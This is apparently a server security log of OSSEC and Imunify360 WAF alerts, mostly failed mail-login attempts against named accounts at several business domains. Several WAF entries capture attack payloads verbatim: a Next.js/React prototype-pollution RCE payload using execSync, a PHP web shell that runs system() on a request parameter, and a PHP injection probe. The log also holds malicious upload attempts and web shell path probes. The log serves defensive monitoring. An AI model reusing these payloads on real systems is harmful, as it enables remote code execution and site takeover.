plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-07-08 03:41:01 dovecot_login authenticator failed for H=([223.109.49.232]) [103.55.89.5]:38308: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.203.138
country_id: 1269750
description:
2026-07-08 03:42:01 dovecot_login authenticator failed for H=(47-206-63-169.e8235131806a02dcb1fe9c7a57eaaeb8.ip.frontiernet.net) [125.23.203.138]:34330: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.201.253
country_id: 1269750
description:
2026-07-08 03:43:59 dovecot_login authenticator failed for H=([125.35.109.214]) [49.206.201.253]:41588: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.91.83
country_id: 1269750
description:
2026-07-08 03:44:10 dovecot_login authenticator failed for H=([222.97.195.179]) [103.130.91.83]:51606: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-08 03:48:16 dovecot_login authenticator failed for H=(191.34.34.41.static.adsl.gvt.net.br) [220.77.214.59]:60193: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.57.39.170
country_id: 6252001
description:
2026-07-08 03:48:31 dovecot_login authenticator failed for H=([49.124.151.57]) [184.57.39.170]:59529: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.153.166.170
country_id: 1835841
description:
2026-07-08 03:49:17 dovecot_login authenticator failed for H=(ipmapt-72-195-101-102.oc.oc.cox.net) [124.153.166.170]:51372: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.118.47.8
country_id: 1835841
description:
2026-07-08 03:49:27 dovecot_login authenticator failed for H=([223.70.149.210]) [111.118.47.8]:45774: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.223.212.176
country_id: 6252001
description:
2026-07-08 03:48:56 dovecot_login authenticator failed for H=([49.124.151.61]) [47.223.212.176]:46072: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.87.2
country_id: 1269750
description:
2026-07-08 03:51:50 dovecot_login authenticator failed for H=(l37-193-85-193.novotelecom.ru) [182.78.87.2]:52886: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-08 03:52:37 dovecot_login authenticator failed for H=([192.34.128.202]) [182.95.102.190]:34040: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.1.58
country_id: 1668284
description:
2026-07-08 03:52:15 dovecot_login authenticator failed for H=([162.253.68.102]) [101.13.1.58]:34496: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.123.87.143
country_id: 1835841
description:
2026-07-08 03:53:04 dovecot_login authenticator failed for H=(ip-103-133.222-205.cloudteknologinusantara.co.id) [210.123.87.143]:32770: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.54
country_id: 1668284
description:
2026-07-08 03:54:39 dovecot_login authenticator failed for H=110-25-109-54.adsl.fetnet.net ([121.153.78.149]) [110.25.109.54]:33859: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-08 03:55:14 dovecot_login authenticator failed for H=(60-251-229-144.hinet-ip.hinet.net) [119.92.76.210]:53430: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.1.203.132
country_id: 3686110
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/true-4k-uhd-ultra-short-throw-laser-projector-v5000i?Itemid=101&catid=18 HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.172.147.190
country_id: 1269750
description:
2026-07-08 03:57:40 dovecot_login authenticator failed for H=(46.191.197.143.dynamic.str.ufanet.ru) [110.172.147.190]:58646: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.188
country_id: 1835841
description:
2026-07-08 04:00:42 dovecot_login authenticator failed for H=([49.124.151.10]) [120.29.140.188]:59421: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.65.73.22
country_id: 1835841
description:
2026-07-08 04:00:41 dovecot_login authenticator failed for H=(host162.109.12.190.cps.com.ar) [58.65.73.22]:60569: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.158.2
country_id: 1269750
description:
2026-07-08 04:01:07 dovecot_login authenticator failed for H=(113-11-34-221.broadband.smile.com.bd) [125.19.158.2]:39104: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.222.43.138
country_id: 3277605
description:
2026-07-08 04:01:09 dovecot_login authenticator failed for H=(ipmapt-72-195-101-102.oc.oc.cox.net) [195.222.43.138]:38096: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.129.31.42
country_id: 3686110
description:
2026-07-08 04:01:27 dovecot_login authenticator failed for H=([92.47.166.23]) [181.129.31.42]:44936: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.112.174
country_id: 1269750
description:
2026-07-08 04:01:37 dovecot_login authenticator failed for H=([197.219.228.242]) [182.78.112.174]:47530: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.153.187.49
country_id: 1835841
description:
2026-07-08 04:01:43 dovecot_login authenticator failed for H=(vm-creative-db01.madavor.cl.zerolag.com) [124.153.187.49]:59438: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-08 04:04:50 dovecot_login authenticator failed for H=([218.94.115.164]) [122.185.101.50]:48072: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.249.195
country_id: 1835841
description:
2026-07-08 04:05:25 dovecot_login authenticator failed for H=([117.158.166.73]) [119.192.249.195]:43807: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 63.46.172.107
country_id: 6252001
description:
2026-07-08 04:05:08 dovecot_login authenticator failed for H=host107.sub-63-46-172.myvzw.com ([121.139.106.117]) [63.46.172.107]:50099: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.32.68.66
country_id: 1835841
description:
2026-07-08 04:05:08 dovecot_login authenticator failed for H=([210.123.87.143]) [61.32.68.66]:20912: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.33.247.46
country_id: 2077456
description:
2026-07-08 04:05:23 dovecot_login authenticator failed for H=27-33-247-46.tpgi.com.au ([1.241.64.237]) [27.33.247.46]:51604: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 144.172.93.66
country_id: 6252001
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/kallanigroup/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.138.181
country_id: 1819730
description:
2026-07-08 04:13:49 dovecot_login authenticator failed for H=([162.253.68.102]) [121.202.138.181]:33400: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.34.21
country_id: 1668284
description:
2026-07-08 04:17:09 dovecot_login authenticator failed for H=111-70-34-21.emome-ip.hinet.net ([174.64.199.92]) [111.70.34.21]:54240: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.192.162
country_id: 1269750
description:
2026-07-08 04:17:47 dovecot_login authenticator failed for H=([218.202.91.147]) [152.52.192.162]:59082: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.63
country_id: 1668284
description:
2026-07-08 04:28:27 dovecot_login authenticator failed for H=([182.95.90.230]) [101.13.5.63]:57868: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.74.116.140
country_id: 290557
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/malik-malayalam-movie-experience-metro-digital-media HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.59.162.146
country_id: 597427
description:
2026-07-08 04:29:32 dovecot_login authenticator failed for H=([39.171.42.206]) [2.59.162.146]:41976: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.209.101.43
country_id: 2077456
description:
2026-07-08 04:30:28 dovecot_login authenticator failed for H=(nsg-corporate-153.124.186.122.airtel.in) [123.209.101.43]:45206: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 193.47.60.186
country_id: 660013
domain: alnayza.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:839304||Sizes:1173||Combined size:1173||User:alnay||WPU:||Filename:219219.phtm||Scanned:/tmp//20260708-043046-ak2FHq1jkW2Yw9nhpfJNgwAAAVQ-file-sX1fBw||SC:/home/alnay/public_html/index.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.188.204.213
country_id: 6252001
description:
2026-07-08 04:30:29 dovecot_login authenticator failed for H=(111-70-29-130.emome-ip.hinet.net) [50.188.204.213]:55289: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 193.47.60.186
country_id: 660013
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:219219.php7||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 148.170.156.248
country_id: 6251999
description:
2026-07-08 04:30:48 dovecot_login authenticator failed for H=host-148-170-156-248.public.eastlink.ca (dynamic-ip-adsl.viettel.vn) [148.170.156.248]:56058: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.155.110
country_id: 1269750
description:
2026-07-08 04:29:51 dovecot_login authenticator failed for H=([102.38.3.104]) [125.23.155.110]:39604: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77469916
abuser: 193.47.60.186
country_id: 660013
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:219219.pht||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 195.154.46.190
country_id: 3017382
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://800watt.ru/bitrix/redirect.php?goto=https://wp.bian0726.com/2023/02/%e7%bf%94%e8%81%b2-2030-%e5%96%ae%e7%ab%af%e4%b8%a6%e8%81%af-kt88-%e7%9c%9f%e7%a9%ba%e7%ae%a1%e6%93%b4%e5%a4%a7%e6%a9%9f/\">mostbet-casinos.com pl</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.193.152.113
country_id: 1880251
domain: ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home/ddgalaxy/public_html/wp-includes||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-08 04:36:20 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.174.78
country_id: 1269750
description:
2026-07-08 04:36:43 dovecot_login authenticator failed for H=(ms5ccba58c.ap.nuro.jp) [122.187.174.78]:33204: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-07-08 04:36:55 dovecot_login authenticator failed for H=(51.241.220.60.adsl-pool.sx.cn) [1.227.228.131]:51534: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 149.62.41.142
country_id: 290557
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://kings96.net/\">kingslot96</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 103.139.219.8
country_id: 1269750
domain: idealloanz.com.au
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142114r77142193||MV:04-39.103.139.219.8||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.5.216.2
country_id: 298795
domain: ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ibmcglobal.com/index.php/industrial-forums/82-ibmc-s-sme-economy-emarketplace-trade-flow-system HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.252
country_id: 1668284
description:
2026-07-08 04:44:13 dovecot_login authenticator failed for H=111-70-23-252.emome-ip.hinet.net ([111.4.78.74]) [111.70.23.252]:37637: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.218.247.234
country_id: 1522867
description:
2026-07-08 04:44:30 dovecot_login authenticator failed for H=(162.144-60-66-biz.sta.surewest.net) [89.218.247.234]:34314: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.108.109.37
country_id: 1835841
description:
2026-07-08 04:46:14 dovecot_login authenticator failed for H=([222.173.138.250]) [222.108.109.37]:49195: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.120.115.152
country_id: 1819730
description:
2026-07-08 04:49:36 dovecot_login authenticator failed for H=n112120115152.netvigator.com (111-70-29-158.emome-ip.hinet.net) [112.120.115.152]:59923: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.188.46.193
country_id: 3996063
domain: globalgroupoman.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/globalgroupoman.com/ HTTP/1.0||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 161.118.163.22
country_id: 1269750
domain: fefkadirectorsunion.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo $((41*271))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$3:\\\"$$:constructor:constructor\"}}}||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.250.149.148
country_id: 1269750
description:
2026-07-08 04:55:35 dovecot_login authenticator failed for H=([64.53.7.231]) [103.250.149.148]:35008: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.54.70.40
country_id: 3686110
description:
2026-07-08 04:57:43 dovecot_login authenticator failed for H=(karuna.divineled.com) [181.54.70.40]:36310: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.230.168
country_id: 298795
description:
2026-07-08 04:57:56 dovecot_login authenticator failed for H=(ip-104-200-152-25.hosts.zerolag.com) [78.187.230.168]:42229: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.18.115.154
country_id: 3175395
description:
2026-07-08 05:01:33 dovecot_login authenticator failed for H=([49.124.149.53]) [85.18.115.154]:54033: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-08 05:02:04 dovecot_login authenticator failed for H=([213.186.233.10]) [125.130.102.172]:60270: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.136
country_id: 1835841
description:
2026-07-08 05:03:52 dovecot_login authenticator failed for H=([36.135.62.94]) [121.131.220.136]:56707: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.82.7.89
country_id: 2077456
description:
2026-07-08 05:04:17 dovecot_login authenticator failed for H=([106.247.22.181]) [95.82.7.89]:36849: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 63.143.116.236
country_id: 3489940
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/tx-nr696-7-2-channel-network-a-v-receiver?Itemid=101&catid=18 HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 16.50.75.79
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icosuns/fonts/index.PHP||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.53
country_id: 1668284
description:
2026-07-08 05:11:31 dovecot_login authenticator failed for H=111-70-38-53.emome-ip.hinet.net (wsip-24-234-223-225.lv.lv.cox.net) [111.70.38.53]:35808: 535 Incorrect authentication data (set_id=prameela)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-08 05:11:13 dovecot_login authenticator failed for H=([178.176.229.202]) [175.200.217.128]:43834: 535 Incorrect authentication data (set_id=prameela@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.223.105.243
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://money.mymotherlode.com/clarkebroadcasting.mymotherlode/article/abnewswire-2026-6-4-pressure-washing-in-hauppauge-ny-backed-by-eagles-power-washing-experts-through-responsible-and-ethical-service-standards/\">Commercial Pressure washing</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.136
country_id: 1835841
description:
2026-07-08 05:16:11 dovecot_login authenticator failed for H=([192.252.208.66]) [121.131.220.136]:58838: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-08 05:16:31 dovecot_login authenticator failed for H=([101.205.122.213]) [197.219.208.58]:55178: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.162.192.62
country_id: 1733045
description:
2026-07-08 05:17:10 dovecot_login authenticator failed for H=([31.173.0.26]) [51.162.192.62]:56192: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.175.6
country_id: 99237
description:
2026-07-08 05:19:49 dovecot_login authenticator failed for H=(188-167-156-82.dynamic.chello.sk) [65.20.175.6]:40035: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.210.110
country_id: 1835841
description:
2026-07-08 05:23:40 dovecot_login authenticator failed for H=([67.201.58.185]) [119.192.210.110]:47484: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.54
country_id: 1668284
description:
2026-07-08 05:26:08 dovecot_login authenticator failed for H=111-70-38-54.emome-ip.hinet.net ([142.54.228.195]) [111.70.38.54]:44948: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.125.250
country_id: 192950
description:
2026-07-08 05:26:20 dovecot_login authenticator failed for H=([202.138.229.190]) [41.215.125.250]:38394: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.96.62.29
country_id: 1835841
description:
2026-07-08 05:28:17 dovecot_login authenticator failed for H=([49.124.153.60]) [183.96.62.29]:1049: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.41.211.48
country_id: 6252001
description:
2026-07-08 05:28:36 dovecot_login authenticator failed for H=48.211.41.34.bc.googleusercontent.com (buenosnet.static.gvt.net.br) [34.41.211.48]:51674: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.31.35.187
country_id: 1835841
description:
2026-07-08 05:27:57 dovecot_login authenticator failed for H=(201.221.116.88.cidadei.com.br) [182.31.35.187]:39844: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 72.167.40.182
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icosuns/fonts/rm/index.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.110.150
country_id: 660013
description:
2026-07-08 05:32:54 dovecot_login authenticator failed for H=([70.166.167.33]) [45.82.110.150]:49594: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.64.33.82
country_id: 1643084
description:
2026-07-08 05:33:21 dovecot_login authenticator failed for H=([192.111.134.12]) [36.64.33.82]:48600: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77281328
name: IM360 WAF: Helix3 com_ajax handler request for Joomla - tracking (CVE-2026-49049)
abuser: 144.225.204.250
country_id: 1880251
domain: ogocindia.com
description:
IM360 WAF: Helix3 com_ajax handler request for Joomla - tracking (CVE-2026-49049)||MVN:ARGS:plugin||MV:helix3||RF:/en/||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.63.87.152
country_id: 6251999
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-includes/images/smilies/about.php||SC:/home/ibmcglobal/public_html/wp-includes||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 175.176.85.11
country_id: 1694008
domain: ahsmarine.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:92788.ahsmarine.com||ServerName:ahsmarine.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:166a9a1584edc0c0c676dab0000ab30f8a29d01c||Title:0x73fa4d50||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.148
country_id: 1835841
description:
2026-07-08 05:48:33 dovecot_login authenticator failed for H=(2-74-192-203.kcell.kz) [121.131.220.148]:58040: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.143
country_id: 1668284
description:
2026-07-08 05:49:04 dovecot_login authenticator failed for H=110-25-112-143.adsl.fetnet.net (118-163-145-175.hinet-ip.hinet.net) [110.25.112.143]:34889: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.26.125
country_id: 1835841
description:
2026-07-08 05:49:32 dovecot_login authenticator failed for H=([115.93.117.61]) [112.161.26.125]:59058: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.150
country_id: 1668284
description:
2026-07-08 05:53:44 dovecot_login authenticator failed for H=110-25-112-150.adsl.fetnet.net ([123.212.9.122]) [110.25.112.150]:60299: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-08 05:53:59 dovecot_login authenticator failed for H=([182.95.238.36]) [102.210.148.41]:52406: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 103.121.102.76
country_id: 1643084
domain: www.yukticlick.com
description:
IM360 WAF: PHP Injection Low value||MV:<?php\n$test = \"test_659766\";\nif(isset($_GET['test'])){\n    echo $_GET['test'];\n}\necho $test;\n?>||MVN:ARGS:content||RSV:8.26||T:APACHE||SC:/home/yukticlick/public_html/index.php||


plugin: modsec
rule: 77281328
name: IM360 WAF: Helix3 com_ajax handler request for Joomla - tracking (CVE-2026-49049)
abuser: 103.121.102.76
country_id: 1643084
domain: www.yukticlick.com
description:
IM360 WAF: Helix3 com_ajax handler request for Joomla - tracking (CVE-2026-49049)||MVN:ARGS:plugin||MV:helix3||RF:/index.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.34.191.39
country_id: 2635167
description:
2026-07-08 05:56:34 dovecot_login authenticator failed for H=([185.46.49.49]) [149.34.191.39]:54290: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77065534
abuser: 103.121.102.76
country_id: 1643084
domain: www.yukticlick.com
name:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)

description:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:content||MV:<?php\nfunction getuid(){\n    $uid = posix_geteuid();\n    if($uid === false){\n        $uid = shell_exec(\"id -u 2>/dev/null\");\n        if($uid === null){\n            $uid = \"unknown\";\n        }\n    }\n    return trim($uid);\n}\n\n$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : (isset($_POST['cmd']) ? $_POST['cmd'] : '');\nif($cmd){\n    echo \"<root>\";\n    echo \"<uid>\" . getuid() . \"</uid>\";\n    echo \"<command>\" . htmlspecialchars($cmd) . \"</command>\";\n    echo \"<output>\";\n    system($cmd);\n    echo \"</output>\";\n    echo \"</root>\";\n}\n?>||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140164
